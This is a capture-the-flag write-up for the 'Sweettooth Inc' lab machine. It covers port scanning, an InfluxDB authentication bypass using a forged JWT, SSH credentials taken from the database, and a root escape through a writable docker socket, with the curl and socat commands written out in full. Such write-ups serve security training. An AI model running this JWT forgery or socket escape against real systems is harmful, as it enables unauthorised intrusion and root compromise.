Sweettooth Inc - THM

Sweettooth Inc, is a medium rated box. User obtained by using exploiting influxdb and root gained by docker escape

Sweettooth Inc - THM
Sweettooth Inc, is a medium rated box. User obtained by using exploiting influxdb and root gained by docker escape

Recon

nmap

Start the box with a nmap scan to identify what services are running on the box, including the version of the service.

# Nmap 7.91 scan initiated Mon Jul 26 14:24:14 2021 as: nmap -sC -sV -p- -Pn -oN scans/sweettooth.nmap sweettooth.thm
Nmap scan report for sweettooth.thm (10.10.92.241)
Host is up (0.17s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          43982/tcp   status
|   100024  1          44278/udp   status
|   100024  1          57927/tcp6  status
|_  100024  1          60404/udp6  status
2222/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 b0:ce:c9:21:65:89:94:52:76:48:ce:d8:c8:fc:d4:ec (DSA)
|   2048 7e:86:88:fe:42:4e:94:48:0a:aa:da:ab:34:61:3c:6e (RSA)
|   256 04:1c:82:f6:a6:74:53:c9:c4:6f:25:37:4c:bf:8b:a8 (ECDSA)
|_  256 49:4b:dc:e6:04:07:b6:d5:ab:c0:b0:a3:42:8e:87:b5 (ED25519)
8086/tcp  open  http    InfluxDB http admin 1.3.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
43982/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 26 14:32:36 2021 -- 1 IP address (1 host up) scanned in 502.29 seconds

From the scan we identified two services running:

  • rpc
  • ssh
  • influxdb

ffuf

{"url":"http://sweettooth.thm:8086/status","status":204}
{"url":"http://sweettooth.thm:8086/query","status":401}
{"url":"http://sweettooth.thm:8086/ping","status":204}
{"url":"http://sweettooth.thm:8086/write","status":405}

Enumeration

influxdb

After running our ffuf scan we know that we can query the database, however it is authenticated. After some research I found a blogpost detailing the steps.

We first visit /debug/requests to find a username, which is o5yY6yya.

Now that we have a username, we need to create a jwt token in which there is a username and a valid expiry date in epoch. Additionally, we can type up any secret key and then include the secret key in the payload.

We then copy the jwt token an use in the following header Authorization: Bearer <TOKEN>

Now that we gained access to query the databases, we first check the databases present

To get the temperature of the water tank, we use the tanks database, get the tables and finally get the temperature.

To get the correct temperature, we first convert the epoch time to human reable time which is Tuesday, May 18, 2021 2:00:00 PM

For the mixer stats, we follow the same procedure as above and use the mixer databases. To get the highest rpm we modify our query to use the MAX selector

Exploitation

While enumerating influxdb, we found an interesting database of creds assuming it contains credentials to the system. Looking at the tables in the database, we find a ssh table. Finally by listing the records in the table we find a username and password albeit unconvetional.

We use those creds to login to ssh and we get the user flag.

Privesc

docker root

Knowing that we have a writeable docker socket, but no docker client I decided to download the docker client binary and upload it to the machine.

Next we use the docker binary to run a new instance of sweettoothinc

host root

Knowing that we have write ability on the docker socket, we can escape docker by following the steps listed in this article. One small caveat is that we need to download the latest version of curl binary on the docker machine

Once we have downloaded the curl binary on the docker machine we rename it to curl and export a new path export PATH=$PWD:$PATH, where pwd is the path containing the new curl binary

We now get the docker images

uzJk6Ry98d8C@2e7c83f85a38:~$ curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
[{"Containers":-1,"Created":1621349458,"Id":"sha256:26a697c0d00f06d8ab5cd16669d0b4898f6ad2c19c73c8f5e27231596f5bec5e","Labels":{},"ParentId":"sha256:213cc0db00922f32cf219291c2f81dfd410304b093a44703927a1db630d7722d","RepoDigests":null,"RepoTags":["sweettoothinc:latest"],"SharedSize":-1,"Size":358659530,"VirtualSize":358659530},{"Containers":-1,"Created":1499487353,"Id":"sha256:e1b5eda429c335c11c07ea85e63f8a60518af69212f19fe50a2a28717744b384","Labels":{},"ParentId":"","RepoDigests":["influxdb@sha256:99ef42027ac794b038ceb829537e92881e7648fa8c62c89ce84531d69177a635"],"RepoTags":["influxdb:1.3.0"],"SharedSize":-1,"Size":227323286,"VirtualSize":227323286}]

Next we create a new container, in which we mount the host in the new host_root folder

uzJk6Ry98d8C@2e7c83f85a38:~$ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"e1b5eda429c335c11c07ea85e63f8a60518af69212f19fe50a2a28717744b384","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
{"Id":"50db63dcfd9986daee5373fa0d65e095986446ae0d8301ddddd637ae011c2924","Warnings":null}

Now we start the newly created image

uzJk6Ry98d8C@2e7c83f85a38:~$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/50db63dcfd9986daee5373fa0d65e095986446ae0d8301ddddd637ae011c2924/start

Finally we use socat to connect to the docker image

uzJk6Ry98d8C@2e7c83f85a38:~$ socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/50db63dcfd9986daee5373fa0d65e095986446ae0d8301ddddd637ae011c2924/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

id
'uid=0(root) gid=0(root) groups=0(root)

Navigating to /host_root/root we get the host root flag

Lessons Learned

Try not to expose database to the world and ensure the database is always patched. Do not mount docker sockets in images and if you absolutely have to make sure only root can read and write